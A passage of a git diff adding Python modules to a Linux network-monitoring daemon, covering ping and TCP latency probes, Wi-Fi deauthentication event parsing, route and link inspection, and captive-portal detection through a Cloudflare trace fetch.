round(newest[1], 2) if newest else None, + } + + +class MergedSeries: + """A read-only view over whichever instruments hold the seats. + + `.since()` and `.all()` return the pooled stream in time order — right + for anything that asks "did anyone reply between these two moments", + which is what outage detection does. Anything that turns the leg into + statistics goes through `.stats()` / `.each()` and `merged_stats`, + where the instruments count equally; see that function for why the + pooled stream must not be fed to Series.stats. + """ + + def __init__(self, series_fn): + self._series_fn = series_fn # -> [Series] of the active seats + + def each(self, seconds: float = None): + """One sample list per seated instrument, the shape merged_stats wants.""" + if seconds is None: + return [s.all() for s in self._series_fn()] + return [s.since(seconds) for s in self._series_fn()] + + def stats(self, seconds: float) -> dict: + return merged_stats(self.each(seconds)) + + def since(self, seconds: float): + out = [] + for s in self._series_fn(): + out.extend(s.since(seconds)) + out.sort(key=lambda smp: smp[0]) + return out + + def all(self): + out = [] + for s in self._series_fn(): + out.extend(s.all()) + out.sort(key=lambda smp: smp[0]) + return out diff --git a/plugins/io.github.x3me.nexthop/nexthopd/linkevents.py b/plugins/io.github.x3me.nexthop/nexthopd/linkevents.py new file mode 100644 index 0000000..dbcb455 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/linkevents.py @@ -0,0 +1,194 @@ +"""Who ended the last Wi-Fi association: the access point, this machine, +or nobody (the link fell over). + +A BSSID change seen through `iw dev link` is only a fact: we were on one +radio and now we are on another. Whether that was the client's decision, +the access point's, or a link failure is the difference between a laptop +that roams, a router that kicks, and a driver that drops — three problems +with three owners, and the log used to call all of them "Roamed to". + +`iw event` is the unprivileged view of nl80211's mlme multicast group. +Every deauthentication and disassociation frame the kernel sends or +receives is reported with its sender, receiver and 802.11 reason code, and +the authentication that follows is reported too. That is enough: + +- the frame's sender says who ended it — the AP's address means it kicked + us, our own means this machine did; +- the reason code says why, in the AP's or the driver's own words; +- the delay before the next authentication says whether the client already + knew where it was going. mac80211 emits the local deauth from inside the + call that starts the new authentication when it roams, so a roam's gap is + milliseconds; a lost link is followed by a scan first, and its gap is + seconds. + +Only the kernel talks to this module, through `iw`. Lines are read with a +length cap and matched against fixed patterns; two MACs and a reason code +are the only fields kept, and only our own reason texts reach the shell. +""" + +import re +import shutil +import subprocess +import threading +import time +from collections import deque + +# `iw event -t` line: ".: (phy #N): ". The +# timestamp is CLOCK_REALTIME — the clock the daemon stamps with — and it +# is optional so recorded fixtures read the same with or without it. +_PREFIX = r"^(?:(\d+\.\d+): )?\S+(?: \(phy #\d+\))?: " +_MAC = r"([0-9a-fA-F]{2}(?::[0-9a-fA-F]{2}){5})" +_ANY_MAC = r"[0-9a-fA-F]{2}(?::[0-9a-fA-F]{2}){5}" +# A deauth/disassoc frame: " -> reason N: ". +# "unprotected deauth" (a forged frame the kernel refused) does not match: +# the frame word must follow the prefix directly. +RE_FRAME = re.compile(_PREFIX + r"(deauth|disassoc) " + _MAC + " -> " + _MAC + + r" reason (\d{1,5})\b") +# The first sign of the next association landing. +RE_NEXT = re.compile(_PREFIX + r"(?:(?:auth|assoc) " + _ANY_MAC + " -> " + + _ANY_MAC + r" status: 0\b|(?:connected|roamed) to " + + _ANY_MAC + r"\b)") + +# 802.11 reason codes, in the words a person would use. Codes 3 and 4 mean +# different things depending on who sent them, so they get a side each +# (a GX gateway's per-station kick arrives as 8, for instance). +REASONS = { + 1: "unspecified", + 2: "previous authentication no longer valid", + 5: "the AP is full", + 6: "class 2 frame from an unauthenticated station", + 7: "class 3 frame from an unassociated station", + 9: "not authenticated", + 14: "MIC failure", + 15: "4-way handshake timeout", + 16: "group key handshake timeout", + 17: "IE mismatch in the 4-way handshake", + 23: "802.1X authentication failed", + 34: "poor channel conditions", + 39: "timeout", +} +AP_REASONS = {3: "the AP is leaving", 4: "inactivity", 8: "the AP is leaving the BSS"} +LOCAL_REASONS = {3: "leaving", 4: "beacon loss", 8: "leaving the BSS"} + + +def reason_text(code, by_ap): + """'reason 2: previous authentication no longer valid'. Only our own + words, never the tool's: nothing from the wire reaches the shell.""" + side = AP_REASONS if by_ap else LOCAL_REASONS + text = side.get(code) or REASONS.get(code) + return "reason %d: %s" % (code, text) if text else "reason %d" % code + + +class NlEvents(threading.Thread): + """Runs `iw event` forever, restarting it if it dies, keeping the last + few deauth/disassoc frames and when the next authentication followed. + + Like the probes, this never raises into the daemon: without `iw`, or + when the socket is refused, the thread backs off and `cause_for` + answers None — and the link log falls back to plain "Roamed to". + """ + + MAX_CAUSES = 64 + LINE_CAP = 1024 + + def __init__(self): + super().__init__(name="nl-events", daemon=True) + self._stop = threading.Event() + self._proc = None + self._lock = threading.Lock() + self._causes = deque(maxlen=self.MAX_CAUSES) + + def stop(self): + self._stop.set() + proc = self._proc + if proc and proc.poll() is None: + try: + proc.terminate() + except OSError: + pass + + def run(self): + backoff = 1.0 + while not self._stop.is_set(): + if not shutil.which("iw"): + time.sleep(min(backoff, 30.0)) + backoff = min(backoff * 2, 30.0) + continue + try: + self._run_once() + except Exception: + pass # a spawn or parse failure is a retry, not a crash + if not self._stop.is_set(): + # `iw event` never exits on its own; if it did, nl80211 + # refused us or the tool is broken — do not spin on it. + time.sleep(min(backoff, 30.0)) + backoff = min(backoff * 2, 30.0) + + def _run_once(self): + self._proc = subprocess.Popen( + ["iw", "event", "-t"], stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, text=True, errors="replace", bufsize=1, + ) + try: + while not self._stop.is_set(): + # A capped read: an over-long line comes back in pieces + # that match nothing, instead of growing a buffer. + line = self._proc.stdout.readline(self.LINE_CAP) + if not line: + break + self.consume(line) + finally: + proc, self._proc = self._proc, None + if proc: + try: + proc.terminate() + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + # Would not go quietly: do not leave it running. + try: + proc.kill() + proc.wait(timeout=2) + except (OSError, subprocess.TimeoutExpired): + pass + except OSError: + pass + + def consume(self, line: str, now: float = None): + m = RE_FRAME.match(line) + if m: + t = float(m.group(1)) if m.group(1) else (now or time.time()) + with self._lock: + self._causes.append({ + "t": t, "frame": m.group(2), + "sa": m.group(3).lower(), "da": m.group(4).lower(), + "reason": min(int(m.group(5)), 65535), "next_at": None, + }) + return + m = RE_NEXT.match(line) + if m: + t = float(m.group(1)) if m.group(1) else (now or time.time()) + with self._lock: + # Only the newest cause is still waiting for its follow-up. + if self._causes and self._causes[-1]["next_at"] is None: + self._causes[-1]["next_at"] = t + + def cause_for(self, bssid: str, now: float, window: float): + """The latest frame within `window` seconds that ended our + association with `bssid`, or None. + + by_ap: the AP sent it. gap_s: seconds until the next authentication + was seen, None if none has been yet. + """ + bssid = (bssid or "").lower() + if not bssid: + return None + with self._lock: + for c in reversed(self._causes): + if now - c["t"] > window: + break + if bssid not in (c["sa"], c["da"]): + continue + gap = None if c["next_at"] is None else max(0.0, c["next_at"] - c["t"]) + return {"t": c["t"], "frame": c["frame"], "by_ap": c["sa"] == bssid, + "reason": c["reason"], "gap_s": gap} + return None diff --git a/plugins/io.github.x3me.nexthop/nexthopd/net.py b/plugins/io.github.x3me.nexthop/nexthopd/net.py new file mode 100644 index 0000000..6ce8478 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/net.py @@ -0,0 +1,372 @@ +"""Reading the local end of the connection: route, interface, Wi-Fi link. + +Everything here is a cheap read of /sys or a short-lived `ip` / `iw` call. +Nothing in this module blocks for longer than its subprocess timeout, and +every function degrades to None or {} rather than raising, because a laptop +that just suspended will fail all of them at once. +""" + +import json +import ipaddress +import re +import shutil +import subprocess +import time +from typing import Optional + + +def _run(cmd, timeout=2.0) -> Optional[str]: + if not shutil.which(cmd[0]): + return None + try: + out = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout, check=False + ) + except (subprocess.TimeoutExpired, OSError): + return None + return out.stdout if out.returncode == 0 else None + + +# Gateway ranges that phone and desktop tethering hand out. Each is fixed by +# its vendor and documented, so this is a table lookup with no network call +# and nothing to keep up to date. It is the only reliable signal available: +# iOS randomises both the hotspot BSSID and the gateway's hardware address +# (checked on a live hotspot — `66:f8:f9:…` and `a2:ee:1a:…`, both with the +# locally-administered bit set), so vendor lookup on either is useless, and +# NetworkManager reports such a connection as "no (guessed)" rather than +# metered. +TETHER_RANGES = ( + # iOS Personal Hotspot, over Wi-Fi or USB. A /28 with the phone at .1. + ("172.20.10.0/28", "ios", "iPhone"), + # Android Wi-Fi tethering, and its USB counterpart. + ("192.168.43.0/24", "android", "Phone"), + ("192.168.42.0/24", "android", "Phone"), + # Windows mobile hotspot. + ("192.168.137.0/24", "windows", "Hotspot"), +) + + +def tether_from_gateway(gateway: str): + """Is this gateway a phone sharing its connection? Pure, so it is tested. + + Returns `{"kind", "label"}` or None. `label` is what to call the middle + node of the path — it is a phone, not a router, and drawing a router + there quietly mislabels both legs. + """ + if not gateway: + return None + try: + addr = ipaddress.ip_address(gateway) + except ValueError: + return None + for cidr, kind, label in TETHER_RANGES: + try: + if addr in ipaddress.ip_network(cidr): + return {"kind": kind, "label": label} + except ValueError: + continue + return None + + +def nm_metered(iface: str) -> bool: + """Has the user explicitly marked this connection metered? + + Only an explicit answer counts. NetworkManager guesses by default and + guesses wrong on a phone hotspot — a live one reports + `no (guessed)` — so a guess is treated as no answer at all rather than + as evidence either way. + """ + if not iface: + return False + # No binary check here: _run already answers None when nmcli is absent, + # and a second check in front of it kept the parser out of reach of the + # tests on a machine without NetworkManager — which is what CI is. + raw = _run(["nmcli", "-t", "-f", "GENERAL.METERED", "dev", "show", iface], + timeout=4.0) + if not raw: + return False + value = raw.split(":", 1)[-1].strip().lower() if ":" in raw else "" + return value.startswith("yes") and "guess" not in value + + +def route_to(anchor: str = "1.1.1.1") -> dict: + """The interface, gateway and source address used to reach the anchor. + + This is the single source of truth for "which connection am I on" — the + gateway it returns is the router leg's ping target. + """ + raw = _run(["ip", "-j", "route", "get", anchor]) + if not raw: + return {} + try: + rows = json.loads(raw) + except ValueError: + return {} + if not rows: + return {} + r = rows[0] + return { + "iface": r.get("dev") or "", + "gateway": r.get("gateway") or "", + "src": r.get("prefsrc") or "", + } + + +def is_wireless(iface: str) -> bool: + if not iface: + return False + from pathlib import Path + + return Path(f"/sys/class/net/{iface}/wireless").is_dir() + + +def counters(iface: str) -> Optional[tuple]: + """(rx_bytes, tx_bytes) straight off /sys, or None if the iface vanished.""" + if not iface: + return None + try: + base = f"/sys/class/net/{iface}/statistics/" + with open(base + "rx_bytes") as f: + rx = int(f.read().strip()) + with open(base + "tx_bytes") as f: + tx = int(f.read().strip()) + except (OSError, ValueError): + return None + return rx, tx + + +def _num(text: str): + """First number in a string, as int when it is whole. + + `iw` is inconsistent across versions — this machine reports + `freq: 5180.0` where older builds print `freq: 5180`. + """ + m = re.search(r"-?\d+(?:\.\d+)?", text or "") + if not m: + return None + v = float(m.group(0)) + return int(v) if v.is_integer() else v + + +def wifi_link(iface: str) -> dict: + """SSID, signal, band and negotiated rates from `iw dev link`.""" + raw = _run(["iw", "dev", iface, "link"]) + if not raw or "Not connected" in raw: + return {} + info = {} + bssid = re.search(r"Connected to ([0-9a-fA-F:]{17})", raw) + if bssid: + info["bssid"] = bssid.group(1) + for line in raw.splitlines(): + line = line.strip() + if line.startswith("SSID:"): + info["ssid"] = line.split(":", 1)[1].strip() + elif line.startswith("freq:"): + info["freq_mhz"] = _num(line) + elif line.startswith("signal:"): + info["signal_dbm"] = _num(line) + elif line.startswith("rx bitrate:"): + info["rx_mbps"] = _num(line) + elif line.startswith("tx bitrate:"): + info["tx_mbps"] = _num(line) + width = re.search(r"(\d+)MHz", line) + if width: + info["width_mhz"] = int(width.group(1)) + for std, tag in (("HE", "802.11ax"), ("VHT", "802.11ac"), ("HT", "802.11n")): + if f"{std}-MCS" in line: + info["standard"] = tag + break + freq = info.get("freq_mhz") + if freq: + info["band"] = "6 GHz" if freq >= 5955 else "5 GHz" if freq >= 4900 else "2.4 GHz" + info["channel"] = _freq_to_channel(freq) + return info + + +def _freq_to_channel(freq) -> Optional[int]: + f = int(freq) + if f == 2484: + return 14 + if 2412 <= f <= 2472: + return (f - 2407) // 5 + if 5160 <= f <= 5885: + return (f - 5000) // 5 + if 5955 <= f <= 7115: + return (f - 5950) // 5 + return None + + +def wifi_station(iface: str) -> dict: + """Airtime health from `iw station dump`. + + Retries and failures are why Wi-Fi feels slow while the signal bar still + looks full, so they are worth the extra call. + """ + raw = _run(["iw", "dev", iface, "station", "dump"]) + if not raw: + return {} + fields = { + "tx retries:": "tx_retries", + "tx failed:": "tx_failed", + "beacon loss:": "beacon_loss", + "rx drop misc:": "rx_drop_misc", + "tx packets:": "tx_packets", + "rx packets:": "rx_packets", + "signal avg:": "signal_avg_dbm", + "inactive time:": "inactive_ms", + } + out = {} + for line in raw.splitlines(): + s = line.strip() + for prefix, key in fields.items(): + if s.startswith(prefix): + v = _num(s[len(prefix):]) + if v is not None: + out[key] = v + break + return out + + +def connection_name(iface: str) -> str: + """The name NetworkManager shows, which is what the user calls this network.""" + raw = _run(["nmcli", "-t", "-f", "GENERAL.CONNECTION", "dev", "show", iface]) + if not raw: + return "" + for line in raw.splitlines(): + if line.startswith("GENERAL.CONNECTION:"): + name = line.split(":", 1)[1].strip() + return "" if name in ("", "--") else name + return "" + + +# The connection's name is a NetworkManager fact: it changes when the +# route does, or when the user renames it, and nmcli is a D-Bus client +# that costs ~27 ms per call on this laptop — three quarters of what a +# whole snapshot cost when it was asked twice a second. The name is +# cached per (interface, gateway, BSSID) and re-asked on that key +# changing or every NAME_CACHE_TTL_S, whichever comes first. +NAME_CACHE_TTL_S = 60.0 +_name_cache = {} # iface -> (key, name, expires_at) + + +def connection_name_cached(iface: str, key, now: float = None, + ttl: float = NAME_CACHE_TTL_S) -> str: + now = time.time() if now is None else now + hit = _name_cache.get(iface) + if hit and hit[0] == key and now < hit[2]: + return hit[1] + name = connection_name(iface) + _name_cache[iface] = (key, name, now + ttl) + return name + + +def snapshot(anchor: str = "1.1.1.1") -> dict: + """Everything about the local end, in one call, safe to run twice a second.""" + route = route_to(anchor) + iface = route.get("iface", "") + snap = { + "iface": iface, + "gateway": route.get("gateway", ""), + "src": route.get("src", ""), + "kind": "none", + } + if not iface: + return snap + snap["kind"] = "wifi" if is_wireless(iface) else "ethernet" + if snap["kind"] == "wifi": + snap.update(wifi_link(iface)) + snap["station"] = wifi_station(iface) + key = (iface, snap["gateway"], snap.get("bssid", "")) + snap["name"] = connection_name_cached(iface, key) or iface + return snap + + +# ------------------------------------------------------------- wan address + +TRACE_URL = "https://speed.cloudflare.com/cdn-cgi/trace" + + +def parse_trace(text: str) -> Optional[dict]: + """The address, country and edge from a cdn-cgi/trace response. + + Every value is validated against its own shape and anything else the + response carries is discarded unread — an address `ipaddress` accepts, + a two-letter country, a short alphabetic colo code. Nothing that fails + its check is passed on, so no free text from the wire reaches the + shell. Input is bounded before it is split, so an oversized body costs + one slice. + + The country and edge come free: they are already in the response the + reachability check fetches every hour. Reading them adds no request + and no new destination, which is the whole reason they are here rather + than from a geolocation service that would learn every user's address. + The edge is Cloudflare's, not the user's — it says which datacentre + answered, so present it as provenance and never as a location. + """ + out = {} + for line in text[:4096].splitlines()[:64]: + if line.startswith("ip="): + try: + addr = ipaddress.ip_address(line[3:].strip()) + except ValueError: + return None + out["ip"] = str(addr) + out["family"] = "v6" if addr.version == 6 else "v4" + elif line.startswith("loc="): + # Cloudflare answers XX when it does not know, which is not a + # country and must not be shown as one. + code = line[4:].strip() + if len(code) == 2 and code.isascii() and code.isalpha() \ + and code.isupper() and code != "XX": + out["country"] = code + elif line.startswith("colo="): + edge = line[5:].strip() + if 2 <= len(edge) <= 5 and edge.isascii() and edge.isalpha() \ + and edge.isupper(): + out["edge"] = edge + # The address is the point; country and edge are decoration on it. + return out if "ip" in out else None + + +def trace_verdict(raw) -> str: + """Did the real internet answer? `open` | `intercepted` | `silent`. + + The same fetch that reads the WAN address is also the only thing here + that can tell the real internet from something standing in for it. A + probe reply proves a packet came back; it does not prove what sent it. + A captive portal, a transparent proxy or any middlebox will happily + complete a handshake and answer for an address it does not own — which + is how an unauthenticated hotel network produced a healthy-looking + internet leg with no internet behind it. + + `open` is the only positive claim, and it needs the response to parse as + a trace with an address `ipaddress` accepts. Something that answered with + anything else is `intercepted`. Nothing at all is `silent`. + + Honest limit: the fetch runs `curl -f`, so a portal that answers with a + 4xx/5xx, a redirect with an empty body, or a certificate that does not + validate for the host all come back as nothing — `silent`. In practice + `intercepted` needs a portal that serves a 200 over a certificate valid + for speed.cloudflare.com, which is rare. The captive decision does not + care (both verdicts count against `open`); only this label does. + """ + if not raw: + return "silent" + return "open" if parse_trace(raw) else "intercepted" + + +def reachability() -> dict: + """One reachability check: the verdict, plus the address when proven. + + This is also where the WAN address comes from — the `proof` — so the + machine's address is only ever asked of a host the daemon talks to + anyway, never of an ifconfig-style third party. The URL is our + constant, never anything a response handed us. Cadence is the caller's + (CaptiveWatch): on every new network, hourly once the internet has + answered, every 30 s only while it has not. + """ + raw = _run(["curl", "-sf", "--proto", "=https", "--max-time", "5", + "--max-filesize", "4096", TRACE_URL], timeout=8.0) + verdict = trace_verdict(raw) + return {"verdict": verdict, + "proof": parse_trace(raw) if verdict == "open" else None} diff --git a/plugins/io.github.x3me.nexthop/nexthopd/paths.py b/plugins/io.github.x3me.nexthop/nexthopd/paths.py new file mode 100644 index 0000000..bfae65c --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/paths.py @@ -0,0 +1,91 @@ +"""Where Nexthop keeps its state. + +Two directories since 0.2.22. The state dir (XDG_STATE_HOME, like the rest +of Omarchy) holds what must outlive the session: history.db, the +config.json the panel writes for the daemon, and the lock so two daemons +never fight. The runtime dir (XDG_RUNTIME_DIR, a per-user tmpfs) holds the +three snapshots the daemon rewrites continuously — live.json twice a +second, apps.json every three, recent.json every five. They are derived, +session-scoped, and worth nothing after a reboot, and on this laptop's +btrfs each 2.5 KB rewrite cost 62.5 KiB at the block layer with fsync: +14.65 GB a day for a bar widget, measured from the kernel's own counter. +On tmpfs it is nothing. Without XDG_RUNTIME_DIR they fall back to the +state dir, so reader and writer always agree in one session environment. +""" + +import os +from pathlib import Path + + +def state_dir() -> Path: + base = os.environ.get("XDG_STATE_HOME") or os.path.join(Path.home(), ".local", "state") + return Path(base) / "nexthop" + + +def ensure_state_dir() -> Path: + """Create the state dir, private to the user (0700). + + The files inside carry the daemon's pid and the version string the + shell service uses to authorize a SIGTERM — nothing another account + has any business reading, let alone writing. + """ + d = state_dir() + d.mkdir(parents=True, exist_ok=True) + try: + d.chmod(0o700) + except OSError: + pass + return d + + +def runtime_dir() -> Path: + """The volatile snapshots' home: the session's tmpfs, else the state dir.""" + base = os.environ.get("XDG_RUNTIME_DIR") + if base and os.path.isdir(base): + return Path(base) / "nexthop" + return state_dir() + + +def ensure_runtime_dir() -> Path: + """Create the runtime dir, private to the user like the state dir.""" + d = runtime_dir() + d.mkdir(parents=True, exist_ok=True, mode=0o700) + try: + d.chmod(0o700) + except OSError: + pass + return d + + +LIVE = "live.json" +RECENT = "recent.json" +APPS = "apps.json" +DB = "history.db" +LOCK = "nexthopd.lock" + + +def live_path() -> Path: + return runtime_dir() / LIVE + + +def recent_path() -> Path: + return runtime_dir() / RECENT + + +def apps_path() -> Path: + return runtime_dir() / APPS + + +def manifest_path() -> Path: + """The plugin's own manifest, beside this package rather than in the + state dir — the shell service reads it to spot a fast-forwarded + checkout.""" + return Path(__file__).resolve().parent.parent / "manifest.json" + + +def db_path() -> Path: + return state_dir() / DB + + +def lock_path() -> Path: + return state_dir() / LOCK diff --git a/plugins/io.github.x3me.nexthop/nexthopd/probes.py b/plugins/io.github.x3me.nexthop/nexthopd/probes.py new file mode 100644 index 0000000..8c56703 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/probes.py @@ -0,0 +1,484 @@ +"""Persistent ping and TCP-handshake probes, and the rolling windows they feed. + +One long-lived `ping` process per target rather than one process per sample. +At two samples a second, spawning a process each time would mean 172,800 +forks a day inside a laptop's idle budget; `ping -i` already does the timing +for us, and `-O` makes it say so out loud when a packet goes missing. +""" + +import collections +import re +import shutil +import socket +import statistics +import subprocess +import threading +import time +from collections import deque + + +def nearest_rank(ordered, p: float): + """Nearest-rank percentile of a NON-EMPTY sorted sequence. + + One implementation shared by the probe stats, the per-app socket stats + and the speed baseline, so the three cannot drift apart — they read the + same figure off the same rule. The index formula already collapses to + element 0 for a single-element input, so no length special-case. + """ + i = min(len(ordered) - 1, max(0, int(round(p * (len(ordered) - 1))))) + return ordered[i] + +# [1787562260.703963] 64 bytes from 10.10.0.1: icmp_seq=1 ttl=64 time=9.13 ms +RE_REPLY = re.compile(r"^\[(\d+\.\d+)\].*icmp_seq=(\d+).*time=([\d.]+)\s*ms") +# [1787562369.690501] no answer yet for icmp_seq=1 +RE_PENDING = re.compile(r"^\[(\d+\.\d+)\]\s+no answer yet for icmp_seq=(\d+)") +# [...] From 10.10.0.147 icmp_seq=1 Destination Host Unreachable +RE_UNREACH = re.compile(r"^\[(\d+\.\d+)\].*icmp_seq=(\d+).*(?:Unreachable|unreachable)") + + +# How much recent history judges an instrument, and the fewest samples that +# can carry a judgement at all. +# +# Shared, deliberately, by the two places that ask "what has this instrument +# been doing lately": the bench, which ranks instruments over a window, and +# TcpProbe, which needs its own recent p50 to tell a retransmit from a slow +# path. They live here rather than on the bench because `instruments` imports +# this module and not the other way round, and an alias in the direction the +# imports already run is the only one Python will take. +# +# The point of aliasing rather than repeating the number: two literals plus a +# test catches drift on the next test run, an alias makes the drift +# impossible. `test_the_window_matches_what_the_bench_ranks_on` is kept even +# though it now passes by construction — it catches someone replacing an +# alias with a literal, which is the drift it was written against. +RECENT_WINDOW_S = 300.0 +RECENT_MIN_SAMPLES = 8 + + +class Series: + """A rolling window of (timestamp, rtt_ms or None) for one target. + + None means the probe went out and nothing came back. Keeping losses in + the same series as the replies is what lets a single pass compute both + latency and loss over any sub-window. + """ + + def __init__(self, window_s: float = 1830.0): + self.window_s = window_s + self._samples = deque() + self._lock = threading.Lock() + + def add(self, t: float, rtt, loaded: bool = False): + """Record one probe result, tagged with whether the link was busy. + + The tag is what makes bufferbloat visible: the same connection can + answer in 15 ms while idle and 300 ms while a download runs, and a + score built only on the idle number calls that line excellent right + up until someone uses it. + """ + with self._lock: + self._samples.append((t, rtt, bool(loaded))) + cutoff = t - self.window_s + while self._samples and self._samples[0][0] < cutoff: + self._samples.popleft() + + def since(self, seconds: float): + cutoff = time.time() - seconds + with self._lock: + return [s for s in self._samples if s[0] >= cutoff] + + def all(self): + with self._lock: + return list(self._samples) + + @staticmethod + def split_by_load(samples): + """(idle, loaded) — probes taken while the link was quiet vs busy. + + Samples are indexed rather than unpacked throughout, so a caller + holding older two-element samples still reads as idle instead of + raising. + """ + idle = [s for s in samples if not (len(s) > 2 and s[2])] + loaded = [s for s in samples if len(s) > 2 and s[2]] + return idle, loaded + + @staticmethod + def stats(samples) -> dict: + """Latency percentiles, jitter and loss over the samples given. + + Jitter is mean absolute difference between consecutive replies + (RFC 3550's IPDV), not standard deviation: a connection that + alternates 10/40/10/40 ms feels far worse than one that drifts + smoothly across the same range, and only IPDV says so. + """ + total = len(samples) + if total == 0: + return {"count": 0, "loss": None, "p50": None, "p75": None, + "p95": None, "jitter": None, "last": None, "max": None} + + rtts = [s[1] for s in samples if s[1] is not None] + lost = total - len(rtts) + loss = lost / total + + if not rtts: + return {"count": total, "loss": loss, "p50": None, "p75": None, + "p95": None, "jitter": None, "last": None, "max": None} + + ordered = sorted(rtts) + + deltas = [abs(rtts[i] - rtts[i - 1]) for i in range(1, len(rtts))] + last = next((x[1] for x in reversed(samples) if x[1] is not None), None) + + return { + "count": total, + "loss": loss, + "p50": round(statistics.median(ordered), 2), + "p75": round(nearest_rank(ordered, 0.75), 2), + "p95": round(nearest_rank(ordered, 0.95), 2), + "max": round(ordered[-1], 2), + "jitter": round(statistics.fmean(deltas), 2) if deltas else 0.0, + "last": round(last, 2) if last is not None else None, + } + + +class PingProbe(threading.Thread): + """Runs one `ping` forever, restarting it if it dies, feeding a Series. + + A probe never raises into the daemon: if `ping` is missing, the target + stops resolving, or the interface goes away, the thread backs off and + keeps trying while the series simply records losses. + """ + + + def __init__(self, target: str, series: Series, interval_ms: int = 500, + name: str = "", loaded_fn=None): + super().__init__(name=f"probe-{name or target}", daemon=True) + self.target = target + self.series = series + # Asked at the moment a sample lands, so each probe is tagged with + # the link state it actually experienced rather than whatever the + # link was doing when the window is later read. + self.loaded_fn = loaded_fn + self.interval = max(0.2, interval_ms / 1000.0) + self._stop = threading.Event() + self._proc = None + # seq -> timestamp first seen unanswered, drained by _expire() + self._pending = {} + # seq -> when it was charged as lost. A packet the grace period gave + # up on can still be reported afterwards — the gateway's Destination + # Host Unreachable for it arrives later than the grace, in the real + # recording by 0.35 s — and without this it would be charged twice. + # Held for one further grace period, which is as long as a late report + # can be believed to belong to that packet. + self._charged = {} + + def _loaded(self) -> bool: + try: + return bool(self.loaded_fn()) if self.loaded_fn else False + except Exception: + return False # a probe never raises into the daemon + + def stop(self): + self._stop.set() + proc = self._proc + if proc and proc.poll() is None: + try: + proc.terminate() + except OSError: + pass + + def set_interval(self, seconds: float): + """Change cadence in place — a benched instrument idles, a seated + one probes at full rate, without tearing the thread down. `ping` + takes its interval on the command line, so the running process is + retired and the run loop respawns it with the new one.""" + seconds = max(0.2, float(seconds)) + if abs(seconds - self.interval) < 1e-9: + return + self.interval = seconds + proc = self._proc + if proc and proc.poll() is None: + try: + proc.terminate() + except OSError: + pass + + def _reset_tracking(self): + """Forget both maps together. + + `ping` numbers from 1 again on every respawn, so a seq remembered past + the process that produced it would suppress a real loss on the next + one — turning a guard against overcharging into an undercount, which + is the same defect facing the other way. + """ + self._pending.clear() + self._charged.clear() + + def _expire(self, now: float): + """A packet still unanswered after the grace period is a lost packet. + + `ping -O` reports "no answer yet" as soon as it sends the next probe, + but a slow reply can still land, so a pending seq is only counted as + lost once it is too old to come back. + """ + grace = self.interval * 2.5 + 1.0 + for seq, t in list(self._pending.items()): + if now - t > grace: + del self._pending[seq] + self._charged[seq] = now + self.series.add(t, None, self._loaded()) + # Bounded by the same clock that fills it: a seq stops being + # remembered once no report about it could still arrive. + for seq, t in list(self._charged.items()): + if now - t > grace: + del self._charged[seq] + + def run(self): + backoff = 1.0 + while not self._stop.is_set(): + if not shutil.which("ping") or not self.target: + time.sleep(min(backoff, 30.0)) + backoff = min(backoff * 2, 30.0) + continue + try: + self._run_once() + backoff = 1.0 + except Exception: + # Never let a parse or spawn failure take the daemon with it. + time.sleep(min(backoff, 30.0)) + backoff = min(backoff * 2, 30.0) + + def _run_once(self): + cmd = ["ping", "-n", "-O", "-D", "-i", f"{self.interval:g}", + "-W", "1", self.target] + self._reset_tracking() + self._proc = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, + text=True, bufsize=1, + ) + try: + for line in self._proc.stdout: + if self._stop.is_set(): + break + self._consume(line) + # ping exited: whatever was outstanding never arrived. + for seq, t in self._pending.items(): + self.series.add(t, None, self._loaded()) + self._reset_tracking() + finally: + proc, self._proc = self._proc, None + if proc: + try: + proc.terminate() + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + # Would not go quietly: do not leave it running. + try: + proc.kill() + proc.wait(timeout=2) + except (OSError, subprocess.TimeoutExpired): + pass + except OSError: + pass + + def _consume(self, line: str): + m = RE_REPLY.match(line) + if m: + t, seq, rtt = float(m.group(1)), int(m.group(2)), float(m.group(3)) + self._pending.pop(seq, None) + # A reply this late cannot un-lose the packet — the window it + # belonged to has already been read — and recording the RTT as + # well would put two samples on the wire's one packet. + if seq not in self._charged: + self.series.add(t, rtt, self._loaded()) + self._expire(t) + return + + m = RE_UNREACH.match(line) + if m: + t, seq = float(m.group(1)), int(m.group(2)) + self._pending.pop(seq, None) + if seq not in self._charged: + self.series.add(t, None, self._loaded()) + self._expire(t) + return + + m = RE_PENDING.match(line) + if m: + t, seq = float(m.group(1)), int(m.group(2)) + # `ping -O` repeats "no answer yet" for the same seq, so one that + # has already been charged must not be put back on the pending + # list to be charged a second time. + if seq not in self._charged: + self._pending.setdefault(seq, t) + self._expire(t) + + +class TcpProbe(threading.Thread): + """Connect-time RTT to the anchor's TLS port, feeding a Series. + + ICMP measures what routers choose to answer, and they answer it fast: + many devices handle it in hardware, in an ASIC or via XDP, while real + traffic waits in the user-space path behind the queues that actually + hold it up. Anything on the way can also reply on the destination's + behalf, because there is nothing in ICMP to prove otherwise. + + A TCP handshake cannot be shortcut that way. The SYN has to reach a + listener that completes it, over port 443 where the user's own traffic + goes, so its round trip is the one applications experience. One + connection per sample, opened and closed — no payload, no TLS, nothing + kept. + + Since 0.2.0 these are seated instruments in the bench (instruments.py): + the two best of four feed the scored internet leg, so a TCP series moves + the score whenever it holds a seat. The anchor's ICMP figure is still + recorded beside it per minute (`lag_icmp`) so the switch stays auditable. + """ + + CONNECT_TIMEOUT_S = 2.0 + # Linux and macOS both start TCP's retransmit timer at one second, so a + # handshake that comes back at or past this did not measure a slow path: + # its SYN was dropped and the kernel sent another. The number is the + # kernel's constant, not the network's round trip, and folding it into a + # latency percentile reports the line as slow when what happened is that + # a packet was lost. + # + # The connect timeout was already drawing this line, in the wrong place + # and for the wrong reason: a handshake needing TWO retransmits waits + # 1 s + 2 s, exceeds CONNECT_TIMEOUT_S and is recorded as loss, while one + # needing a single retransmit returns at ~1 s and was recorded as a round + # trip. The same event, accounted two opposite ways, with the boundary + # wherever the timeout happened to fall. + # One initial RTO, with slop for timer granularity and scheduling. The + # first retransmit fires at 1000 ms on Linux, macOS and Windows alike. + RETRANSMIT_MARGIN_MS = 900.0 + # The baseline is this instrument's own recent p50 over the shared window + # above — 